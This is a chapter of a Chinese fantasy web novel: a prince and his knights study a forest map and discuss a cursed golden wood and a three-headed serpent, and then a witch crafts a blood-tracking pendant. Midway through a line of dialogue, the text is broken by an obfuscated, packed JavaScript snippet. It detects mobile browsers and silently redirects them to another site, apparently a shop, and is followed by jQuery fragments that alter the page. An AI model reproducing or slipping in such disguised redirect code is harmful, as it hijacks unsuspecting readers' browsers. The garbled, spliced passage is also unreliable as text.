坚盾城既是探索森林的先锋城，也是抵御危险的第一线。


    虽说有着不死女巫的约束，铁幕森林中的怪物大多都掀不起什么风浪，但每年总有那么一段时间，怪物格外躁动，会试图冲击城门。


    除了先锋骑士和驻成军，坚盾城中还有一个炙手可热的职业，冒险者。


    骑士们进入森林只为巡查，排除危险，他们没有动力深入铁幕森林。


    冒险者却不同，他们就靠着从铁幕森林中捞金生活，市面上能买到的地图大半也出自冒险者之手。


    城主想必乐见其成，不用折损他的人手，还有人前赴后继地验证地图真伪。


    德里克手中的地图就号称是生还率最高的地图。


    借着火光，兰斯仔细看着手中的羊皮纸。


    地图细致地描绘了坚盾城外铁幕森林西面及北面的边界，标注了几个水源点，相对安全的扎营地，以及危险区域，显然是无数外围探险者和幸存者用鲜血换来的信息。


    而森林的腹地，只画下几种不同颜色的色块。


    兰斯从火堆中抽出一根细枝，踩灭火星，用炭化的部分在地图上涂画。


    铁幕森林中只有一条河，地图上标注出来了，凭借这条河，兰斯找到了树塔的大概位置。


    接着他也找到了哭林。


    这些地方在地图上只是一大片墨绿的色块，标注着“低危区域，有智慧生物出没”。


    哭林的东南方则是一片金色色块，也是唯一一块金色。标注写着：“金色树林，不可深入！”


    兰斯便回忆起了传送时模模糊糊看见的那片辉煌的树林，珀尔称之为“鎏金森林”。


    再向东一点，才是一片灰白色的区域，标注极为简单，“高危！”。大约就是连珀尔都不愿轻易前往的挽歌藤林。


    她起的名字怎么都这么诗意。


    这片灰色区域之后，便是一大块虚线框起来的空白之处，中间写着“不可接近”。想必便是不死女巫圈定的“禁地”，等闲之人无法进入。


    几条蜿蜒的虚线从坚盾城出发，穿插在色块之中，最远的竟穿过了大半鎏金森林。


    径直向东的虚线几乎没有。


    这大概就是“生还率最高”的依仗——前人用性命试探出的、相对不那么致命的通行路径。


    这么一看，兰斯深感棘手。


    他昏迷时的传送路线竟然这么奇怪，如果要进入挽歌藤林，那么势必要经过鎏金森林。


    兰斯拉过德里克，“你对铁幕森林有什么了解？木雕极大可能遗失在了挽歌藤林中，”他用树枝点了点那块高危区域，“从哭林借道，穿越鎏金森林是最快的。”


    德里克听得一愣一愣，“殿下，这些林地的名称是您刚起的？”


    “……不是，这不重要。”


    火光之下，他没有注意到兰斯眼神的闪烁，摇了摇头，“我隶属于王都骑士团，但康纳是坚盾城调来的，您可以问他。”


    不仅如此，德里克还知道康纳加入骑士团之前的梦想其实是成为一名冒险者。


    兰斯颔首，他便将鼾声震天的康纳弄醒，拽了过来。


    兰斯对康纳重复了一遍刚才的问题，又补充：“或者我们可以绕路，从这两片林地之间穿过，是否更稳妥？”


    康纳揉揉眼睛，扫了一眼兰斯手中的地图，首先否定了兰斯的第二个方案，“殿下，从两片林地之间穿过有时反而更危险。”


    “这片林子，”康纳点了点金色色块，“我们一般管它叫金林，非常邪门。一靠近金林，我们心中的贪欲和私欲便会被无限地放大，金林会诱惑每一个人独占所有的金叶。如果一个人捡起了叶子，那他无论如何也走不出去了。”


    “第一次成功从金林中带出惑金的——他们后来就管那东西叫‘惑金’了，是米勒兄弟。”


    “他们没有自相残杀，小米勒带着惑金，大米勒领着他走出了金林。有个魔法师买下了他们带出来的所有惑金，那可是好大一笔钱。”


    “这对兄弟怎么做到的？”德里克忍不住问。


    “不知道，这是他们的商业机密。”康纳耸耸肩。


    “我想，这种影响是有办法隔绝的，”兰斯沉吟，“那么从两片林地之间穿过危险在哪？”


    “殿下，这意味着我们要同时承受两片林地的影响，”康纳指着金林南边的蓝色林地，“我们不仅会变得贪婪冷血，还会失去理智。照我看，直接穿过金林是最好的路线。”


    兰斯“嗯”了一声，“关于挽歌藤林，你都知道些什么？”


    “这名字还挺贴切，”康纳吞了吞口水，“那地方是有主的，一条三头蛇。敢往里走还能囫囵逃出来的冒险者，一百个里未必有一个，而且回来的那些多半也疯了。”


    兰斯直接道：“说说那条蛇。”


    “殿下，活着回来的人只带回些语无伦次的鬼话。我只能把听起来还算靠边的说法拢一拢。”


    兰斯有点不耐烦地点点头。


    康纳凑得离火堆更近了，“那条蛇浑身就像一截截脊椎骨拼起来的，立起来比城墙还高，长得足够同时绞住七八个人。”


    “重点是三个头，按那些人的说法，它们各有各的想法，一个头会讲道理，当然讲的也是怪物那种要命的道理……”


    “等等，”兰斯打断他，“这条三头蛇可以沟通？”


    康纳为难地摸了摸后脑勺，“我觉得这头怪物只是会说话而已，称不上可以沟通。”


    兰斯叹了口气，“我太着急了，你继续说吧。”


    “……它会提条件，设谜题，抛出各种残忍的选择题。”


    “另一个头是个狡猾的骗子，它会离间，还会制造幻象。”


    “最后一个，也是最可怕的，它只会杀戮，根本不管另外两个头说了什么，更别提沟通了。”


    兰斯盯着跳跃的火焰，脑海里的念头纷乱纠缠。


    不管怎么说，三头蛇都是有智慧的。


    有智慧，就会害怕，搬出不死女巫的名头，能不能震慑它们？


    可这条蛇不是最要紧的，挽歌藤林面积不小，他该去哪里找木雕？时隔这么久，传送涟漪多半已经消散了。


    一种紧迫感攥着他，令他静不下心来。


    德里克叫了兰斯好几声，才把他叫回神。


    迎着两位骑士担忧的眼神，他强迫自己笑了笑，“那些冒险者是怎么逃出来的？生机或许就藏在他们的经历中


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845892|188878||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    康纳抓抓头发，回忆着那些零碎的传言，“有人说，那三个头并不和睦，它们自己斗起来以后就顾不上猎物了。也有人说，绝对不能接受它提出的任何‘游戏’或‘交易’，一旦开始就完了。”


    “就没有人尝试杀死它吗？”兰斯把手里的树枝掷回火中。


    珀尔逆着光站在他面前的画面浮上心头，他不由得想，如果珀尔能够带领他们前往挽歌藤林，是否就不用这样小心筹谋，瞻前顾后。


    康纳仰起头，想象着那条立起来比城墙还高的蛇就在眼前，该怎么鼓起勇气对它挥剑。


    他们对着火光过了一夜，似乎睡着了，又似乎只是恍惚了一阵。


    今日的黎明与昨日并没有什么区别，但也许因为太过靠近铁幕森林，站在阳光下也没有多少暖意。


    兰斯深吸一口微凉的空气，把一切纷乱的心绪通通压到最深处。


    “整备，一刻钟后出发。”他的声音不高，清晰地传入每个或坐或卧的骑士耳中，带着不容置疑的冷静。


    无需更多言语，德里克率先起身，戴好头盔。盔甲的铿锵声打破林间的寂静，骑士们检查武器，背起行囊，用泥土掩埋篝火的痕迹。


    一刻钟，六人小队呈菱形阵型，兰斯和德里克在前，雷德蒙与康纳分居两翼，奥利弗和亨特断后，沿着既定路线前进。


    路上平静得诡异，仿佛他们身在一片普通的森林中。


    树木无边无际，脚下的腐叶松软厚实，甲胄不间断地发出规律琐碎的声音。


    兰斯却完全失去了欣赏景致的心情。


    紧张与未知的压力笼罩在每一个人头顶。


    兰斯的紧绷另有原因。


    他们靠近哭林的同时，也在靠近树塔。


    ……


    有了追踪兰斯的方法，珀尔心里不那么火烧火燎了，甚至还有了一点闲情。


    这一大瓶血不方便随身携带，使用起来也稍嫌麻烦，她可没心情时不时就蘸着血画符文，那会让她看起来像个蹩脚的人类占卜师。


    珀尔走进温室。


    她挑选了几样材料：盛开的结香花，一簇一簇像毛茸茸的小球，格外可爱；一截细而坚韧的织锦蛛蛛丝；一朵盛满露水的水晶盏。


    回到实验长桌前，珀尔使瓶中的血液悬浮在掌心，缓慢地提纯。


    血色的气体不断蒸腾出来，在珀尔眼中，这团血液中深邃迷人的紫色也在渐渐减淡。


    最终，珀尔掌心只留下了一小滴深红色，极为光泽的物质。


    她伸出手指点了点结香花，一蓬金光飞了起来，随着指尖的弧线落在掌心，飞快地与那深红色的液滴融合了。


    珀尔拿起水晶盏，将液滴滴了进去。里面的露水会把它水晶化，这样就得到了一颗水滴形的红色挂坠。


    最后，蛛丝穿过尚未完全凝固的水晶外壳，一条浑然一体的项链就完成了。


    她将项链戴在颈间，蛛丝仿若无物，血滴挂坠像锁骨中间的伤口，下一秒就会涌出血来。


    一句简短的精灵语咒文落下，挂坠中忽然有金色的光点涌动，紧接着，一道纤细的血线便从挂坠底部延展而出。


    它会带着珀尔找到自己的主人。